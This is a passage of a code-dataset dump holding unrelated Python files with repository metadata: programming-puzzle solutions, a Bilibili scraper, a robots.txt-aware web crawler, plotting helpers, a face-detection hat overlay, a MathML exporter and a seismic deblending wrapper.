screen\nwindow.close()","repo_name":"Lawtonlegacy/RandomExecutor","sub_path":"random_executor.py","file_name":"random_executor.py","file_ext":"py","file_size_in_byte":2127,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"31262034546","text":"import sys\n\n\ndef main():\n readline = sys.stdin.readline\n\n h, w = map(int, readline().split())\n s = []\n ax, ay, bx, by = 0, 0, 0, 0\n for i in range(0, h):\n sl = readline()\n for j in range(0, w):\n if sl[j] == 'o':\n if ax == 0:\n ax, ay = j+1, i+1\n else:\n bx, by = j+1, i+1\n\n ans = abs(ax-bx) + abs(ay-by)\n print(ans)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"miyajan/atcoder","sub_path":"ABC-253/b/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":468,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"23658324430","text":"# https://www.codewars.com/kata/51e056fe544cf36c410000fb/python\r\n\r\nimport re\r\n\r\ndef top_3_words(text):\r\n l=text.lower().split(\" \")\r\n res={}\r\n for w in l:\r\n w=re.sub(r'[^\\w\\s]','', w)\r\n if not w.isalpha():\r\n continue\r\n if w in res.keys():\r\n res[w]+=1\r\n else:\r\n res[w]=1\r\n sorted_res=sorted(res.items(),key=lambda x:-x[1])\r\n return [*dict(sorted_res)][:3]\r\n\r\nprint(top_3_words(\" //wont won't won't will wi w wi f f \"))\r\n","repo_name":"Vadim200116/Codewars","sub_path":"4kyu/top_3_words.py","file_name":"top_3_words.py","file_ext":"py","file_size_in_byte":495,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"25837910385","text":"# !/usr/bin/python3\n# coding = utf-8\n\nimport requests\nimport re\nimport bs4\nfrom lxml import etree\nimport time\nimport pandas as pd\nimport xlsxwriter\n\n\"\"\"\nhttps://search.bilibili.com/all?keyword=内容&page=页数\n\n爬取目标: 视频标题 视频链接 视频上传时间 视频播放量 视频时常 视频up主\n\n\"\"\"\n\n\ndef parse_html(page_html):\n \"\"\"页面解析\"\"\"\n data = []\n etr = etree.HTML(page_html.text)\n # print(page_html.text)\n soup = bs4.BeautifulSoup(page_html.text, \"lxml\")\n for i in soup.find_all('li', attrs={\"class\": \"video-item matrix\"}):\n info = []\n # print(i)\n # 标题解析\n info.append(i.find(\"a\", attrs={\"class\": \"title\"})['title'])\n # 链接解析\n info.append(i.find(\"a\", attrs={\"class\": \"title\"})['href'][2:].replace(\"?from=search\", \"\"))\n # 播放数量\n # print(list(i.find(\"span\", attrs={\"class\": \"so-icon watch-num\"}).strings)[0])\n info.append(i.find(\"span\", attrs={\"class\": \"so-icon watch-num\"}).text.replace(\"\\n\", \"\").replace(\" \", \"\"))\n # 视频时长\n info.append(i.find(\"span\", attrs={\"class\": \"so-imgTag_rb\"}).text)\n # 弹幕数量\n info.append(i.find(\"span\", attrs={\"class\": \"so-icon hide\"}).text.replace(\"\\n\", \"\").replace(\" \", \"\"))\n # 上传时间\n info.append(i.find(\"span\", attrs={\"class\": \"so-icon time\"}).text.replace(\"\\n\", \"\").replace(\" \", \"\"))\n # up 主\n info.append(i.find(\"a\", attrs={\"class\": \"up-name\"}).text)\n data.append(info)\n print(info)\n return data\n\n\ndef is_next(response):\n \"\"\"判断是否有下一页\"\"\"\n return re.findall('

  • ', response.text) != []\n\n\ndef save_data(data):\n \"\"\"保存数据, 将数据保存到 excel 表格中\"\"\"\n pd.DataFrame(data, columns=['标题', '链接', '观看数量', '视频时长', '弹幕数量', '上传时间', 'up主姓名']).to_excel('bilibili.xlsx', index=False, engine='xlsxwriter')\n\ndef main():\n # connect = input(\"请输入搜索内容:\")\n connect = 'python'\n data = []\n url = \"https://search.bilibili.com/all?keyword=%s&page=%d\"\n headers = {\"User-agent\": \"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36\"}\n for i in range(1, 50):\n response = requests.get(url=url % (connect, i), headers=headers)\n data += parse_html(response)\n if not is_next(response):\n # 没有下一页按钮\n print(\"爬取结束,共爬取 %d 页内容\" % i)\n break\n\n\n save_data(data)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"m1n9yu3/Python-crawler-project","sub_path":"bilibibli搜索内容/bilibili搜索内容信息整理.py","file_name":"bilibili搜索内容信息整理.py","file_ext":"py","file_size_in_byte":2618,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"20332150113","text":"import pytest\n\nfrom pinkerton.base import EntityType\nfrom pinkerton.extractor import EntityExtractor\n\n\n@pytest.fixture\ndef extractor():\n return EntityExtractor('https://natasha.b-labs.pro/api/')\n\n\n@pytest.fixture\ndef test_text():\n return '''\n Ивана Васильевича Иванова, или просто Ваню, застал в расплох Алексей Петрович\n '''\n\ndef test_correct_api_urls(extractor):\n assert extractor.api_extract_url == 'https://natasha.b-labs.pro/api/extract'\n assert extractor.api_version_url == 'https://natasha.b-labs.pro/api/version'\n\n\n@pytest.mark.asyncio\nasync def test_that_api_returns_some_results(extractor, test_text):\n objects, spans = await extractor.extract(test_text)\n\n assert objects\n assert spans\n\n assert objects[0]['type'] == EntityType.Person\n assert objects[0]['fields']['firstname'] == 'Иван'\n assert objects[0]['fields']['middlename'] == 'Василиевич'\n assert objects[0]['fields']['lastname'] == 'Иванов'\n","repo_name":"datahack-ru/pinkerton","sub_path":"pinkerton/tests/test_extractor.py","file_name":"test_extractor.py","file_ext":"py","file_size_in_byte":1033,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"28779226325","text":"class TreeNode:\r\n def __init__(self, val=0, left=None, right=None):\r\n self.val = val\r\n self.left = left\r\n self.right = right\r\n\r\n\r\nclass Solution:\r\n # def buildTree(self, preorder, inorder):\r\n # root = inorder.index(preorder[0])\r\n # tree = TreeNode(preorder[0])\r\n # i = [1]\r\n # tree.left = self.splittree(inorder[:root], preorder, i)\r\n # tree.right = self.splittree(inorder[root + 1:], preorder, i)\r\n # return tree\r\n #\r\n # def splittree(self, subtree, pretree, i):\r\n # if i[0] == len(pretree):\r\n # return\r\n # if pretree[i[0]] in subtree:\r\n # root = subtree.index(pretree[i[0]])\r\n # tree = TreeNode(pretree[i[0]])\r\n # i[0] += 1\r\n # tree.left = self.splittree(subtree[:root], pretree, i)\r\n # tree.right = self.splittree(subtree[root + 1:], pretree, i)\r\n # return tree\r\n def buildTree(self, preorder, inorder):\r\n return self.buildTree2(inorder, preorder, [0])\r\n def buildTree2(self, inorder, preorder, i):\r\n if i[0] == len(preorder):\r\n return\r\n if preorder[i[0]] in inorder:\r\n root = inorder.index(preorder[i[0]])\r\n tree = TreeNode(preorder[i[0]])\r\n i[0] += 1\r\n tree.left = self.buildTree2(inorder[:root], preorder, i)\r\n tree.right = self.buildTree2(inorder[root + 1:], preorder, i)\r\n return tree\r\n\r\n\r\na = Solution()\r\ninp = [1, 2, 4, 8, 9, 14, 15, 5, 3, 6, 10, 11, 7, 12, 13]\r\ninp2 = [8, 4, 14, 9, 15, 2, 5, 1, 10, 6, 11, 3, 12, 7, 13]\r\nx = a.buildTree(inp, inp2)\r\nprint(x)\r\n","repo_name":"MinnanZhou/Leetcode","sub_path":"105.py","file_name":"105.py","file_ext":"py","file_size_in_byte":1641,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"21791074380","text":"import gtk\r\nclass InfoBarDemo(gtk.Window):\r\n def __init__(self,message,text,title,menu=None,parent=None):\r\n gtk.Window.__init__(self)\r\n self.__dialog = gtk.MessageDialog(\r\n self,\r\n gtk.DIALOG_MODAL|gtk.DIALOG_DESTROY_WITH_PARENT,\r\n gtk.MESSAGE_WARNING,\r\n gtk.BUTTONS_OK,\r\n message)\r\n self.__dialog.format_secondary_text(text)\r\n self.__menu=menu\r\n self.__dialog.set_title(title)\r\n self.__dialog.set_keep_above(True)\r\n def show(self, *args, **kwargs):\r\n self.__dialog.run()\r\n self.__dialog.destroy()\r\n if self.__menu is not None:\r\n for m in self.__menu:\r\n if m.gui_id==\"connect\":\r\n m.enabled=True\r\n return False","repo_name":"umlfri-old/addon_relational_algebra","sub_path":"plugin/attention.py","file_name":"attention.py","file_ext":"py","file_size_in_byte":845,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"12540602945","text":"print(\"Welcome to the tip calculator: \")\nbill = float(input(\"What is the total bill? \"))\ntip = float(input(\"What percent tip you want to give? 10% 12% 15% \"))\npeople = int(input(\"In how many people you want to divide? \"))\n\ntip_per = tip / 100\ntotal_tip = bill * tip_per\ntotle_bill = bill + total_tip\npay = totle_bill / people\n\nprint(f\" Each person should have to pay {pay:.2f}.\")\n","repo_name":"itzzmevishal/Games-and-Mini-Projects","sub_path":"Mini_Projects/python small projects/Tip_Calculator_with_Python.py","file_name":"Tip_Calculator_with_Python.py","file_ext":"py","file_size_in_byte":380,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"71100383092","text":"from typing import Dict, List\n\nimport matplotlib\nimport matplotlib.pyplot as plt\nimport matplotlib.ticker\nimport numpy as np\nimport pandas as pd\nimport seaborn as sns\nfrom matplotlib.patches import PathPatch\n\nRC_CONTEXT = {\n \"text.usetex\": True,\n \"font.family\": \"serif\",\n \"font.serif\": \"Palatino\",\n \"font.size\": 11,\n \"savefig.bbox\": \"tight\",\n \"savefig.pad_inches\": 0.0,\n \"savefig.dpi\": 300,\n \"figure.dpi\": 300,\n}\n\n\n@matplotlib.rc_context(RC_CONTEXT)\ndef plot_boxplots(\n df: pd.DataFrame,\n condition_names: Dict[str, str],\n hook_names: Dict[bool, str],\n filename: str = \"boxplots.pdf\",\n):\n fig = plt.figure(figsize=(5.5, 2.5))\n\n df = df.copy(deep=True)\n df[\"hook\"] = df[\"hook\"].map(hook_names)\n df[\"condition\"] = df[\"condition\"].map(condition_names)\n\n ax = sns.boxplot(\n data=df,\n x=\"condition\",\n y=\"time\",\n hue=\"hook\",\n hue_order=[hook_names[False], hook_names[True]],\n palette=[\"#b2df8a\", \"#a6cee3\"],\n width=0.75,\n showcaps=True,\n showfliers=False,\n linewidth=0.5,\n )\n\n sns.despine(offset=10, trim=False)\n ax.set_xlabel(\"\")\n ax.set_ylabel(\"RTT (ms)\")\n ax.set_ylim(0, 5)\n ax.legend(loc=\"lower left\", frameon=False, fancybox=False, ncol=2)\n ax.legend_.set_bbox_to_anchor((0, -0.1, 1, 1))\n ax.yaxis.set_major_locator(matplotlib.ticker.MultipleLocator(1))\n ax.yaxis.grid(\n True,\n ls=(0, (1, 3)),\n which=\"major\",\n color=\"grey\",\n alpha=0.25,\n lw=1,\n )\n\n _adjust_box_widths(fig, 0.8)\n\n plt.tight_layout()\n plt.savefig(filename)\n plt.show()\n\n\n@matplotlib.rc_context(RC_CONTEXT)\ndef plot_lagplots(\n df: pd.DataFrame,\n conditions: List[List[str]],\n condition_names: Dict[str, str],\n hook_names: Dict[bool, str],\n cutoff: int,\n filename: str = \"lagplots.pdf\",\n):\n colors = [\"#66c2a5\", \"#fc8d62\", \"#8da0cb\", \"#e78ac3\"]\n fig, axes = plt.subplots(\n len(conditions),\n 1,\n figsize=(5.5, 2.5),\n sharex=True,\n )\n\n print(f\"\\\\newcommand{{\\\\TestLagplotCutoff}}{{{cutoff:,d}}}\")\n\n df = df.query(\"hook == False and iteration < @cutoff\").copy(deep=True)\n df[\"hook\"] = df[\"hook\"].map(hook_names)\n df[\"condition\"] = df[\"condition\"].map(condition_names)\n\n for condition, ax in zip(conditions, axes):\n sns.lineplot(\n ax=ax,\n data=df,\n y=\"time\",\n x=\"iteration\",\n hue=\"condition\",\n hue_order=[condition_names[e] for e in condition],\n linewidth=0.25,\n alpha=0.75,\n palette=colors[1:3],\n rasterized=True,\n )\n\n legend = ax.legend(\n loc=\"lower left\",\n frameon=False,\n fancybox=False,\n ncol=2,\n fontsize=10,\n )\n for lh in legend.legendHandles:\n lh.set_linewidth(2)\n lh.set_alpha(1)\n\n sns.despine(ax=ax, offset=10, trim=False)\n ax.legend_.set_bbox_to_anchor((0, -0.4, 1, 1))\n ax.set_xlabel(\"Iterations\")\n ax.set_ylabel(\"RTT (ms)\", fontsize=9)\n ax.set_yscale(\"log\")\n ax.set_ylim(1, 20)\n ax.xaxis.grid(False)\n ax.yaxis.grid(\n True,\n ls=(0, (1, 3)),\n which=\"both\",\n color=\"grey\",\n alpha=0.25,\n lw=1,\n )\n\n tickform = matplotlib.ticker.FuncFormatter(\n lambda x, _: format(int(x), \",\"),\n )\n ax.xaxis.set_major_formatter(tickform)\n ax.yaxis.set_major_formatter(tickform)\n\n fig.tight_layout()\n fig.savefig(filename)\n plt.show()\n\n\ndef _adjust_box_widths(fig, factor):\n \"\"\"\n Adjust the widths of a seaborn-generated boxplot.\n\n (c) 2019-07-09, by Eric (https://stackoverflow.com/a/56955897/927377)\n Dynatrace has not made any changes to this code. This code is supplied\n without warranty, and is available under Creative Commons BY-SA 4.0.\n\n :param fig: The figure object containing the boxplot\n :param factor: The factor by which to adjust the width\n \"\"\"\n\n # iterating through Axes instances\n for ax in fig.axes:\n # iterating through axes artists:\n for c in ax.get_children():\n # searching for PathPatches\n if isinstance(c, PathPatch):\n # getting current width of box:\n p = c.get_path()\n verts = p.vertices\n verts_sub = verts[:-1]\n xmin = np.min(verts_sub[:, 0])\n xmax = np.max(verts_sub[:, 0])\n xmid = 0.5 * (xmin + xmax)\n xhalf = 0.5 * (xmax - xmin)\n\n # setting new width of box\n xmin_new = xmid - factor * xhalf\n xmax_new = xmid + factor * xhalf\n verts_sub[verts_sub[:, 0] == xmin, 0] = xmin_new\n verts_sub[verts_sub[:, 0] == xmax, 0] = xmax_new\n\n # setting new width of median line\n for line in ax.lines:\n if np.all(line.get_xdata() == [xmin, xmax]):\n line.set_xdata([xmin_new, xmax_new])\n","repo_name":"dynatrace-research/function-hook-latency-benchmarking","sub_path":"results/src/plot.py","file_name":"plot.py","file_ext":"py","file_size_in_byte":5155,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"27857056668","text":"#coding:utf-8\nimport sys\nimport numpy as np\nimport cv2\nimport dlib\n\n# 给img中的人头像加上圣诞帽,人脸最好为正脸\ndef add_hat(img,hat_img):\n # 分离rgba通道,合成rgb三通道帽子图,a通道后面做mask用\n r,g,b,a = cv2.split(hat_img)\n rgb_hat = cv2.merge((r,g,b))\n\n # ------------------------- 用dlib的人脸检测代替OpenCV的人脸检测-----------------------\n # # 灰度变换\n # gray = cv2.cvtColor(img,cv2.COLOR_BGR2GRAY)\n # # 用opencv自带的人脸检测器检测人脸\n # face_cascade = cv2.CascadeClassifier(\"haarcascade_frontalface_default.xml\")\n # faces = face_cascade.detectMultiScale(gray,1.05,3,cv2.CASCADE_SCALE_IMAGE,(50,50))\n\n # ------------------------- 用dlib的人脸检测代替OpenCV的人脸检测-----------------------\n\n # dlib人脸关键点检测器\n predictor_path = \"./pyScript/shape_predictor_5_face_landmarks.dat\"\n predictor = dlib.shape_predictor(predictor_path)\n\n # dlib正脸检测器\n detector = dlib.get_frontal_face_detector()\n\n # 正脸检测\n dets = detector(img, 1)\n\n # 如果检测到人脸\n if len(dets)>0:\n for d in dets:\n x,y,w,h = d.left(),d.top(), d.right()-d.left(), d.bottom()-d.top()\n shape = predictor(img, d)\n\n # 选取左右眼眼角的点\n point1 = shape.part(0)\n point2 = shape.part(2)\n\n # 求两点中心\n eyes_center = ((point1.x+point2.x)//2,(point1.y+point2.y)//2)\n\n # 根据人脸大小调整帽子大小\n factor = 1.2\n resized_hat_h = int(round(rgb_hat.shape[0]*w/rgb_hat.shape[1]*factor))\n resized_hat_w = int(round(rgb_hat.shape[1]*w/rgb_hat.shape[1]*factor))\n\n if resized_hat_h > y:\n resized_hat_h = y-1\n\n # 根据人脸大小调整帽子大小\n resized_hat = cv2.resize(rgb_hat,(resized_hat_w,resized_hat_h))\n\n # 用alpha通道作为mask\n mask = cv2.resize(a,(resized_hat_w,resized_hat_h))\n mask_inv = cv2.bitwise_not(mask)\n\n # 帽子相对与人脸框上线的偏移量\n dh = 0\n dw = 0\n # 原图ROI\n #bg_roi = img[y+dh-resized_hat_h:y+dh, x+dw:x+dw+resized_hat_w]\n bg_roi = img[y+dh-resized_hat_h:y+dh,(eyes_center[0]-resized_hat_w//3)-20:(eyes_center[0]+resized_hat_w//3*2)-20]\n\n # 原图ROI中提取放帽子的区域\n bg_roi = bg_roi.astype(float)\n mask_inv = cv2.merge((mask_inv,mask_inv,mask_inv))\n alpha = mask_inv.astype(float)/255\n\n # 相乘之前保证两者大小一致(可能会由于四舍五入原因不一致)\n alpha = cv2.resize(alpha,(bg_roi.shape[1],bg_roi.shape[0]))\n bg = cv2.multiply(alpha, bg_roi)\n bg = bg.astype('uint8')\n\n # 提取帽子区域\n hat = cv2.bitwise_and(resized_hat,resized_hat,mask = mask)\n # 相加之前保证两者大小一致(可能会由于四舍五入原因不一致)\n hat = cv2.resize(hat,(bg_roi.shape[1],bg_roi.shape[0]))\n # 两个ROI区域相加\n add_hat = cv2.add(bg,hat)\n\n # 把添加好帽子的区域放回原图\n img[y+dh-resized_hat_h:y+dh,(eyes_center[0]-resized_hat_w//3)-20:(eyes_center[0]+resized_hat_w//3*2)-20] = add_hat\n\n return img\n else:\n return img\nhat = sys.argv[1]\nundo_img = sys.argv[2]\n# 读取帽子图,第二个参数-1表示读取为rgba通道,否则为rgb通道\nhat_img = cv2.imread(hat,-1)\nimgName = sys.argv[3]\n\n# 读取头像图\nimg = cv2.imread(undo_img)\noutput = add_hat(img,hat_img)\nimgUrl = './assets/img/'+'done_'+imgName\ncv2.waitKey(0)\ncv2.imwrite(imgUrl, output)\ncv2.destroyAllWindows()\n","repo_name":"webLover000111/stickers_server","sub_path":"pyScript/add_hat.py","file_name":"add_hat.py","file_ext":"py","file_size_in_byte":3810,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"38474930511","text":"from threading import Thread, Lock\nfrom Crawler import Crawler\nfrom queue import Queue\nfrom urllib.parse import urlparse\nfrom urllib.robotparser import RobotFileParser\nfrom urllib import error\n\n\nclass SimpleCrawler(Thread):\n\n def __init__(self, domain, no_crawlers=10):\n Thread.__init__(self)\n # Set number of workers\n if no_crawlers < 1:\n raise ValueError(\"Must have at least 1 crawler\")\n self.no_crawlers = no_crawlers\n # Multi-threaded priority queue to schedule crawling.\n self.queue = Queue()\n # Keep a set of visited urls to avoid recursive/ duplicate crawling\n self.visited_urls = set()\n # Keep a set of excluded urls.\n self.excluded = set()\n # Lock used to synchronize access to visited and exlucded sets/\n self.mutex = Lock()\n self.crawlers = []\n\n # Check if domain can be parsed and if robots.txt is present.\n if not domain:\n raise ValueError(\"Please provide a seed URL to crawl.\")\n self.domain = domain\n try:\n self.target_domain = urlparse(domain).netloc\n except:\n raise ValueError(\"Incorrect URL\")\n self.set_robot_parser()\n self.queue.put(self.domain)\n self.visited_urls.add(self.domain)\n\n def set_robot_parser(self):\n \"\"\"\n Given a domain tries to search for /robots.txt and identify which urls should\n not be visited by the crawler.\n \"\"\"\n if self.domain[-1] != '/':\n self.domain += '/'\n self.robotparser = RobotFileParser()\n try:\n self.robotparser.set_url(self.domain + \"robots.txt\")\n except Exception as e:\n raise ValueError(\"Incorrect URL or no robots.txt exists.\")\n\n try:\n self.robotparser.read()\n except error.URLError:\n self.robotparser = None\n raise ValueError(\"Incorrect URL\")\n except Exception as ex:\n self.robotparser = None\n raise ValueError(\"Incorrect URL or no robots.txt exists.\")\n\n def run(self):\n # Spawn threads and start crawling.\n for i in range(self.no_crawlers):\n crawler = Crawler(i, self.queue, self.visited_urls, self.mutex, self.excluded, self.target_domain, self.robotparser)\n self.crawlers.append(crawler)\n crawler.start()\n\n # Wait for all crawlers to finish.\n self.queue.join()\n\n # Notify all crawlers to stop.\n for i in range(self.no_crawlers):\n self.queue.put(None)\n\n self.queue.join()\n\n # Wait for all threads to exit\n for t in self.crawlers:\n t.join()\n","repo_name":"biroc/simplecrawler","sub_path":"Simple_Crawler.py","file_name":"Simple_Crawler.py","file_ext":"py","file_size_in_byte":2679,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"32666862657","text":"import argparse\nimport math \ndef parse_args():\n parser=argparse.ArgumentParser(description=\"aggregate significant p-values\")\n parser.add_argument(\"--inputs\",nargs=\"+\")\n parser.add_argument(\"--outf\")\n return parser.parse_args()\n\ndef main():\n args=parse_args()\n data_dict=dict()\n thresh=0.05\n for inputf in args.inputs:\n print(str(inputf))\n data=open(inputf,'r').read().strip().split('\\n')\n task=inputf.split('/')[1]\n data_dict[task]=dict() \n for line in data[1::]:\n tokens=line.split('\\t')\n motif=tokens[0].split('(')[0]\n pval=float(tokens[2])\n if pval>thresh:\n continue \n pval=-10*math.log10(pval)\n data_dict[task][motif]=str(pval)\n outf=open(args.outf,'w')\n for task in data_dict:\n for motif in data_dict[task]:\n outf.write(task+'\\t'+motif+'\\t'+data_dict[task][motif]+'\\n')\nif __name__== \"__main__\":\n main()","repo_name":"benayang/MuSC_3D_Genome_Aging","sub_path":"08_HiCExplorer/HOMER/aggregate_sig_pvals_homer.py","file_name":"aggregate_sig_pvals_homer.py","file_ext":"py","file_size_in_byte":975,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"11537647028","text":"import os\nimport myokit\nimport xml.etree.cElementTree as et\nfrom _ewriter import MathMLExpressionWriter\nclass XMLExporter(myokit.formats.Exporter):\n \"\"\"\n This :class:`Exporter ` generates an XML file\n containing a model's equations, encoded in Content MathML. This is an XML\n format containing the bare equations, without any formatting. It can be \n used to exchange equations with MathML supporting applications.\n \"\"\"\n def info(self):\n import inspect\n return inspect.getdoc(self)\n def model(self, path, model, protocol=None):\n \"\"\"\n Export the model to an xml document.\n \"\"\"\n path = os.path.abspath(os.path.expanduser(path))\n # Create model xml element\n root = et.Element('math')\n root.attrib['xmlns'] = 'http://www.w3.org/1998/Math/MathML'\n # Create expression writer\n writer = MathMLExpressionWriter()\n writer.set_element_tree_class(et)\n writer.set_mode(presentation=False)\n writer.set_time_variable(model.time()) \n # Write equations\n for var in model.variables(deep=True):\n writer.eq(var.eq(), root)\n # Write xml to file\n doc = et.ElementTree(root)\n doc.write(path, encoding='utf-8', method='xml')\n if True:\n # Pretty output\n import xml.dom.minidom as m\n xml = m.parse(path)\n with open(path, 'w') as f:\n f.write(xml.toprettyxml(encoding='utf-8'))\n def supports_model(self):\n \"\"\"\n Returns ``True``.\n \"\"\"\n return True\nclass HTMLExporter(myokit.formats.Exporter):\n \"\"\"\n This :class:`Exporter ` generates a HTML file\n displaying a model's equations. The equations are encoded using \n Presentation MathML. This format can be viewed in most modern browsers, but\n is less suitable as an exchange format.\n \"\"\"\n def info(self):\n import inspect\n return inspect.getdoc(self)\n def model(self, path, model, protocol=None):\n \"\"\"\n Export to a html document.\n \"\"\"\n # Get model name\n try:\n name = model.meta['name']\n except KeyError:\n name = 'Generated model'\n # Create model html element\n html = et.Element('html')\n head = et.SubElement(html, 'head')\n title = et.SubElement(head, 'title')\n title.text = name\n body = et.SubElement(html, 'body')\n heading = et.SubElement(body, 'h1')\n heading.text = name\n # Create expression writer\n writer = MathMLExpressionWriter()\n writer.set_element_tree_class(et)\n writer.set_mode(presentation=True)\n writer.set_time_variable(model.time()) \n # Write equations, per component\n for component in model.components():\n div = et.SubElement(body, 'div')\n div.attrib['class'] = 'component'\n heading = et.SubElement(div, 'h2')\n heading.text = component.qname()\n for var in component.variables(deep=True):\n div2 = et.SubElement(div, 'div')\n div2.attrib['class'] = 'variable'\n math = et.SubElement(div2, 'math')\n math.attrib['xmlns'] = 'http://www.w3.org/1998/Math/MathML' \n writer.eq(var.eq(), math)\n # Write xml to file\n doc = et.ElementTree(html)\n doc.write(path, encoding='utf-8', method='xml')\n if True:\n # Pretty output\n import xml.dom.minidom as m\n xml = m.parse(path)\n with open(path, 'w') as f:\n f.write(xml.toprettyxml(encoding='utf-8'))\n def supports_model(self):\n \"\"\"\n Returns ``True``.\n \"\"\"\n return True\n","repo_name":"CardiacModelling/tailored-ipsc-models","sub_path":"myokit/formats/mathml/_exporter.py","file_name":"_exporter.py","file_ext":"py","file_size_in_byte":3824,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"9855119452","text":"\"\"\"AGDeblend seismic data blending and deblending.\"\"\"\nimport ctypes\nimport numpy as np\n\nAGDLive = 0\nAGDBad = 1\nAGDMissing = 2\nAGDBlendSum = 0\nAGDBlendMean = 1\nAGDBlendOverwrite = 2\n\n\ndef deblend(\n volumes,\n window_shapes,\n coords,\n shottimes,\n channels,\n trace_types,\n initial_factor,\n n_its,\n print_freq,\n data,\n wavelet_idxs=None,\n wavelets=None,\n comm=None,\n):\n \"\"\"Deblends seismic data.\n\n See https://ausargeo.com/agdeblend for documentation.\n\n Args:\n volumes: [n_patches] int array specifying the volume index that each patch\n belongs to\n window_shapes: [n_volume][] in array\n specifying the window shapes to use\n coords: [n_patches][] int array\n specifying the coordinates of each patch within its volume\n shottimes: [n_patches][] long int array specifying\n the time sample index of each trace's shot in the continuous record\n channels: [n_patches][] int array specifying the\n recording channel number of each trace\n trace_types: [n_patches][] int array specifying\n if the trace is live (AGDLive), bad (AGDBad) or missing (AGDMissing)\n initial_factor: Float specifying the initial threshold factor in (0, 1]\n n_its: Int specifying the number of iterations\n print_freq: Int specifying the iteration interval between\n printing the norm of the residual, with values less than 1\n corresponding to never\n data: [n_patches][] blended seismic data (may be\n modified during deblending)\n wavelet_idxs: [n_patches][] optional int array\n specifying the index in the wavelets array (see below) to use\n as the source wavelet for each trace (default None)\n wavelets: [number of wavelets][number of time samples in each wavelet]\n optional array containing time samples of source wavelets\n (default None)\n comm: Optional MPI Communicator (default None, which will run a\n serial implementation)\n\n Returns:\n The deblended data in an array of the same size as the input\n \"\"\"\n\n fdtype, cfdtype, fdtype_ptrptr = _get_fdtype(data[0])\n agd_lib, ffi, comm = _get_agd_lib(cfdtype, comm)\n\n # Convert to contiguous NumPy arrays of the right type\n n_patches = len(data)\n\n data_shapes = _convert_to_numpy([patch_data.shape for patch_data in data])\n data = _convert_to_numpy(data, dtype=cfdtype, extra_requirements=[\"W\"])\n volumes = np.require(volumes, dtype=ctypes.c_int, requirements=[\"C\", \"A\"])\n coords = _convert_to_numpy(coords)\n window_shapes = _convert_to_numpy(window_shapes)\n shottimes = _convert_to_numpy(shottimes, dtype=ctypes.c_long)\n channels = _convert_to_numpy(channels)\n trace_types = _convert_to_numpy(trace_types)\n if wavelet_idxs is not None or wavelets is not None:\n if wavelet_idxs is None or wavelets is None:\n raise RuntimeError(\n \"If wavelet_idxs or wavelets is not None, they both must not be\"\n )\n wavelet_lengths = np.array(\n [len(wavelet) for wavelet in wavelets]\n ).astype(ctypes.c_int)\n wavelet_lengths_ptr = wavelet_lengths.ctypes.data\n wavelet_idxs = _convert_to_numpy(wavelet_idxs)\n wavelet_idxs_ptr = wavelet_idxs[\"ppointers\"]\n wavelets = _convert_to_numpy(wavelets, dtype=cfdtype)\n wavelets_ptr = wavelets[\"ppointers\"]\n else:\n wavelet_lengths_ptr = ffi.NULL\n wavelet_idxs_ptr = ffi.NULL\n wavelets_ptr = ffi.NULL\n\n # Check that the number of patches is the same for all variables\n if len(volumes) != n_patches:\n raise RuntimeError(\"volumes must have the same length as data\")\n _check_n_patches(n_patches, coords, \"coords\")\n _check_n_patches(n_patches, shottimes, \"shottimes\")\n _check_n_patches(n_patches, channels, \"channels\")\n _check_n_patches(n_patches, trace_types, \"trace_types\")\n if wavelet_idxs is not None:\n _check_n_patches(n_patches, wavelet_idxs, \"wavelet_idxs\")\n\n # Check that the number of traces in each patch is the same for\n # all variables\n n_traces = [np.prod(patch_data.shape[:-1]) for patch_data in data[\"np\"]]\n _check_n_traces(n_traces, shottimes, \"shottimes\")\n _check_n_traces(n_traces, channels, \"channels\")\n _check_n_traces(n_traces, trace_types, \"trace_types\")\n if wavelet_idxs is not None:\n _check_n_traces(n_traces, wavelet_idxs, \"wavelet_idxs\")\n\n # Check wavelet_idxs match wavelets\n if wavelet_idxs is not None:\n _check_wavelets(wavelet_idxs, wavelets, trace_types)\n\n # Extract the number of dimensions in each volume\n n_volumes = np.max(volumes) + 1\n n_dims = np.zeros(n_volumes, ctypes.c_int)\n for volume_idx, patch_data in zip(volumes, data[\"np\"]):\n n_dims[volume_idx] = patch_data.ndim\n\n if agd_lib.agd_deblend(\n n_patches,\n ffi.cast(\"int *\", volumes.ctypes.data),\n ffi.cast(\"int *\", n_dims.ctypes.data),\n ffi.cast(\"int **\", window_shapes[\"ppointers\"]),\n ffi.cast(\"int **\", coords[\"ppointers\"]),\n ffi.cast(\"int **\", data_shapes[\"ppointers\"]),\n ffi.cast(\"long int **\", shottimes[\"ppointers\"]),\n ffi.cast(\"int **\", channels[\"ppointers\"]),\n ffi.cast(\"enum AGDTraceType **\", trace_types[\"ppointers\"]),\n ffi.cast(\"int *\", wavelet_lengths_ptr),\n ffi.cast(\"int **\", wavelet_idxs_ptr),\n ffi.cast(fdtype_ptrptr, wavelets_ptr),\n initial_factor,\n n_its,\n print_freq,\n *comm,\n ffi.cast(fdtype_ptrptr, data[\"ppointers\"])\n ):\n raise RuntimeError(\"Error in call to 